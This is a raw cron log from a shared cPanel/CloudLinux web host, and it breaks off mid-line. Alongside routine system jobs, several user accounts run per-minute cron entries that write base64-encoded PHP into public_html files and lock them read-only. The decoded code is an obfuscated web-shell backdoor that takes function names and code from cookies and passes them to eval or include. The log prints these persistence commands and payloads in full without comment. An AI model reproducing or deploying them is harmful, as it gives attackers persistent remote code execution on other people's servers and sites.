Jun  7 07:22:01 medusa CROND[3271]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:23:01 medusa CROND[5131]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:23:01 medusa CROND[5138]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 07:23:01 medusa CROND[5142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:23:01 medusa CROND[5143]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:23:01 medusa CROND[5145]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:23:01 medusa CROND[5146]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:23:01 medusa CROND[5147]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:23:01 medusa CROND[5148]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:23:01 medusa CROND[5149]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:23:01 medusa CROND[5150]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:23:01 medusa CROND[5154]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:23:01 medusa CROND[5155]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:24:01 medusa CROND[7036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:24:01 medusa CROND[7038]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 07:24:01 medusa CROND[7037]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:24:01 medusa CROND[7039]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:24:01 medusa CROND[7041]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:24:01 medusa CROND[7042]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:24:01 medusa CROND[7043]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 07:24:01 medusa CROND[7044]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:24:01 medusa CROND[7047]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:24:01 medusa CROND[7048]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:24:01 medusa CROND[7050]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:24:01 medusa CROND[7054]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:24:01 medusa CROND[7055]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:25:01 medusa CROND[9077]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 07:25:01 medusa CROND[9086]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 07:25:01 medusa CROND[9087]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 07:25:01 medusa CROND[9088]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 07:25:01 medusa CROND[9090]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 07:25:01 medusa CROND[9091]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 07:25:01 medusa CROND[9094]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 07:25:01 medusa CROND[9098]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 07:25:01 medusa CROND[9100]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:25:01 medusa CROND[9103]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:25:01 medusa CROND[9104]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 07:25:01 medusa CROND[9106]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo 